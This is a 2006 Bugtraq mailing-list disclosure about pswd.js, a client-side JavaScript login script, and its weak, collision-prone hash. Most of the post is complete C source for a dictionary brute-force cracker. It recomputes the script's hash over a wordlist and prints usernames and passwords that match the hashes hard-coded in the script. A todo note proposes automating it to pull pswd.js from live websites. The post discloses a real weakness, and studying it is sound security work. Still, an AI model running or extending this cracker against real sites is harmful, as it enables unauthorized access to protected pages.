Message-ID: <44D1D09D.5090309@lugnu.it>
Date: Thu, 03 Aug 2006 12:31:57 +0200
From: Gianstefano Monni <gianstefano@...nu.it>
To: bugtraq@...urityfocus.com, ml@...urezza.org
Subject: Javascript software authentication brute force attack

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0. HISTORICAL CONSIDERATIONS

Nowadays it's very easy to have a virtual server with (for instance)
mysql and php or any other sort of server-side authentication system,
but some time ago many people were trying to use some kinds of
client-authentication and pswd.js was a very well-known script, it has
been published in some websites, and it was declared as being a very
good client-authentication system...
I've found some websites that are still using pswd.js, so I've taken a
look to it, and i've found that the hash-generation creates many
conflicts, i.e. different words could take you to the same hash, and
the hash function is very simple to reproduce.


I. THE SYSTEM
pswd.js is a client-side authentication script. It generates a hash of
a password provided in a form, and checks if the generated hash is
included in its hard-coded vector, if yes it re-directs the user in a
"secret" html page.
The system is very simple to break, the included C file can parse the
20M-words Jargon dictionary, calculates a hash for each word an
compares the hash with the well known hashes taken from the pswd.js.
Processing the entire jargon file requires  less than one minute to
run(tested on Debian GNU/Linux running on a 3,2 GHz PIV with 1 GB RAM)



2. THE CODE:

/*
 *  processes the word.lst and computes the password :
 * if a hash corresponds to a password listed and in the vector it
prints password, username and hash code
 *
 * todo:
 * 1. make the account file dynamic
 * 2. make the dictionary dynamic
 * 3. make dynamic all the procedure: one could connect to a website,
download the pswd.js file, process it and found passwords...
 *
 * Developed by Gianstefano Monni
 */

#include <stdio.h>
#include <math.h>
#include <string.h>

long pwdchk (char *);

char base[]= {'0','1','2','3','4','5','6','7','8','9',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
char pass[30];
long f[]={23,535,1047,1559,2071,2583,3095,3607,4119,4631,
12,21,26,38,53,72,101,139,294,375,584,841,1164,1678,2425,4989,6478,10076,14494,21785,30621,69677,87452,139356,201113,278810,
80,83,93,99,113,131,159,194,346,416,619,861,1165,1649,2256,4766,6077,9554,13713,20576,28894,65661,82386,131248,164801,262524};
char K[62];

//the pwd structure
typedef struct
{
    char *user;
    long code;
    char *plain_pass;
}PWD;

//the list of username and passwords, it is hard-coded in the pswd.js file
PWD pwd_list[]=
{
    {"ti8ae88me",73303,""},
    {"koqaaheo",61899,""}
};
//number of elements in pwd_list
int pwd_num=2;


void gen_f()
{
    long x=0;
        long y=28;
        long z=23;

        for (x=0;x<62;x++)
                f[x]=0;

        for (x=0; x<10; x++){
                f[x]=x<<9;
                f[x]+=23;
        }

        for (x=10; x<36; x++){
                y=y<<1;
                long v= (int) sqrt(y);
               v+=5;
                f[x]=v;
                y++;
        }

        for (x=36; x<62; x++){
                z=z<<1;
                long v= (int) sqrt(z);
                v+=74;
                f[x]=v;
                z++;
        }
}

int main (int argc, char ** argv)
{
    char passwd[255];
    FILE * fp=0;
    int x=0;
    int i=0;
        long num=0;
    long code;
   
    if (argc <=1){
        fp=fopen("word.lst","r");
        if (fp){
            while (!feof(fp)){
           
                //prints a message every 1M words processed
                if ((++num % 1000000)==0)
                    printf("%d words processed",num);

                //reads the word and computes the hash
                fscanf(fp,"%s",passwd);
                code=pwdchk(passwd);
           
                //checks if the computed hash is included in the hash
vector
                for (x=0;x<pwd_num;x++)
                    if (code==pwd_list[x].code)
                        //if yes, we've found a password
                        printf("FOUND user: %s password: %s code
%d\n\n",pwd_list[x].user,passwd,code);
               
            }
        }       
    }
    else{
        code=pwdchk(argv[1]);
        printf("%s:%d\n",argv[1],code);
    }
return 0;
}

long pwdchk(char *aPasswd){
   
    long code=0;
        int l=0,y=0,x=0;
    int lpass=strlen(aPasswd);
    for (l=0; l<lpass; l++)
        K[l]=aPasswd[l];

    for (y=0; y<lpass; y++){
        for(x=0; x<62; x++){
            if (K[y]==base[x])
                code+=((y+1)*f[x]);
        }
    }
    return code;
}

- --
Gianstefano Monni

We reject kings, presidents and voting
We believe in rough consensus and running code
IETF Credo
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